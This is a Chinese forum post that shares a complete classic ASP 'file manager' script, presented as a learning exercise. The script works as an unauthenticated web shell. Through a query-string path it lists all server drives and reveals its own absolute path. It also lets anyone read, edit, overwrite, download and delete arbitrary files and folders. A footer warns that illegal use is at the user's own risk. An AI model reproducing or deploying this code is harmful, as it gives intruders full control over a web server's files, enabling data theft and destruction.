自已试着写了一页,虽功能不完善,但清楚易懂,供交流学习。
望高手们不要见笑!!
代码部分:
----------------------------------------------------
<%
response.write"<CENTER>"
fpath=Request.Querystring("fpath")
ac=Request.Querystring("ac")
ftext = Request.form("ftext")
if fpath = "" then
fpath = "C:\"
end if
'显示服务器上的所有驱动器和类型
response.write"<font size=2>服务器上驱动器: </font>"
Dim fsodri, d, dc, dri, n
Set fsodri = CreateObject("Scripting.FileSystemObject")
Set dc = fsodri.Drives
For Each d in dc
n = ""
dri = d.DriveLetter & ":"
If d.DriveType = 3 Then'如果为网络影射盘
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri & "(netdriver)"
response.write "</a> "
else
if d.DriveType = 4 Then'如果为光驱
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri & "(CD-ROM)"
response.write "</a> "
ElseIf d.IsReady Then
response.write "<A href='"&url&"?fpath=" & dri&"\"
response.write " ' >" & dri
response.write "</a> "
end if
End If
Next
'显示当前路径和本文件的绝对路径
response.write"<br><br><font size=2>本文件的绝对路径:</font><font size=2 color=#ff0000>"
response.write server.mappath(Request.ServerVariables("SCRIPT_NAME")) & "</font>"
response.write"<font size=2> 当前目录或文件路径为:</font><font size=2 color=#ff0000>" & fpath
response.write"</font><br>"
'设置返回上一级目录链接
if ac<>"view" and ac<>"save" and ac<>"delf" and ac<>"download" then'去除路径为文件的活动,防止出错
Dim fsoback, fback, sback
Set fsoback = CreateObject("Scripting.FileSystemObject")
if fsoback.FolderExists(fpath) then '判断,当驱动(光驱)未准备好时防止出错
Set fback = fsoback.GetFolder(fpath)
If fback.IsRootFolder Then
sback ="<font size=2 color=#ff0000>当前文件夹是根文件夹。</font>"
response.write sback & "<br>"
Else
sback =UCase(fback.ParentFolder)
response.write "<A href='"&url&"?fpath=" & sback
response.write " '><font size=2>返回上一级目录</font></a><br>"
end if
end if
end if
response.write "__________________________________________________________<br><br>"
select case ac
case "view" '查看编辑文本文件
view(text)
case "save" '保存对文件的修改
textsave()
case "delf" '删除指定文件
DeleteAFile(fpath)
case "download" '下载指定文件
downloadFile(fpath)
case "delford" '删除指定文件夹
DeleteAFolder(fpath)
case ""
'创建FSO对像
Dim fso, f, f1, fc, s, sf
Set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FolderExists(fpath) then '判断,当驱动(光驱)未准备好时防止出错
Response.Write("<h1>Error:</h1>" & fpath & " 设备未准备好!<p>")
else
Set f = fso.GetFolder(fpath)
Set fc = f.Files
set sf = f.SubFolders
asdf=f.ShortPath
response.write "<table width='700' height='15' border='1' cellpadding='0' cellspacing='0' style='border-collapse:collapse'>"
response.write "<tr>"
For Each f1 in sf '显示文件夹
z = f1.name
d = asdf & "\" & z
z1= z
response.write "<td height='15' width='500'>"
d=replace(d,"\\","\")
response.write "<A href='"&url&"?fpath=" & d
response.write " ' >" & z1
response.write "</a></td><td>"
response.write "<A href='"&url&"?ac=delford&fpath=" & d
response.write "'>删除</td><td>icecool</td>"
response.write "<td>1832306</td></tr>"
Next
For Each f1 in fc '显示文件
s = f1.name
vfilepath=asdf & "\" & s
s1="------" & s
response.write "<td height='15' width='500'>"
response.write s1
response.write "</td><td>"
vfilepath=replace(vfilepath,"\\","\")
response.write "<a href='"&url&"?ac=delf&fpath=" & vfilepath
response.write "'>删除</a></td>"
response.write "<td><A href='"&url&"?ac=view&fpath=" & vfilepath
response.write " '>编辑</a></td>"
response.write "<td><A href='"&url&"?ac=download&fpath=" & vfilepath
response.write " '>下载</a></td></tr>"
Next
end if
response.write "</table>"
end select
function view(text) '读取编辑文本文件
dim ts,wee,fso1,fz
Const ForReading = 1
Response.Write "<b>读取文件</b> <br>"
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set ts = fso1.OpenTextFile(""& fpath &"", ForReading)
Set fz = fso1.getFile(fpath)
if fz.size <= 0 then '用IF语句判断该文件是否为0字节文件,因READALL读取0字节文件会出错
response.write "该文件为0字节文件,无任何内容"
else
wee = ts.Readall
end if
response.write "<form name='form1' method='post' action='"&url&"?ac=save&fpath=" & fpath
response.write "'>"
Response.Write "<textarea name='ftext' cols='100' rows='20'>"&wee
Response.Write "</textarea>"
response.write "<input type='submit' name='Submit' value='保存'>"
ts.Close
end function
function textsave() '保存编辑文本文件
Dim fso, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.CreateTextFile(""& fpath &"", True)
f1.WriteLine(""& ftext &"")' 向文件写入文本框里的内容。
f1.Close
set f1=nothing
response.write"文件修改成功,请返回刷新查看!<br>"
end function
Sub DeleteAFile(fpath) '删除指定文件
Dim fsodel
Set fsodel = CreateObject("Scripting.FileSystemObject")
fsodel.DeleteFile(fpath)
response.write "删除文件成功,请返回刷新查看!"
End Sub
Sub DeleteAFolder(fpath) '删除指定文件夹
Dim fsodelford
Set fsodelford = CreateObject("Scripting.FileSystemObject")
fsodelford.DeleteFolder(fpath)
response.write "删除文件夹成功,请返回刷新查看!"
End Sub
function downloadFile(strFilename)'下载指定文件
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject("ADODB.Stream")
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
response.write"</CENTER>"
'以下设置式样
response.write"<br><CENTER><font size=2>警告:对非法使用此程序可能带来的任何不良后果责任自负!<br>"
response.write"Design By <a href='mailto:1832306@163.com'>吃草的狼</a> QQ:1832306<BR></CENTER></font>"
response.write"<style type='text/css'>"
response.write"<!--"
response.write"A{text-decoration:none;color:navy}"
response.write"A:hover {COLOR: #ff0000; }"
response.write"TD.cls3"
response.write"{"
response.write"BORDER-BOTTOM: #FFB811 2px solid;"
response.write"}"
response.write"-->"
response.write"</style>"
response.write"<style type='text/css'>"
response.write"<!--"
response.write"table {"
response.write" font-size: 9pt;"
response.write" text-decoration: none;"
response.write" border: 1px solid #000000;"
response.write"}"
response.write"-->"
response.write"</style>"
%>
-------------------------------------------------------------
部分功能可自已完善!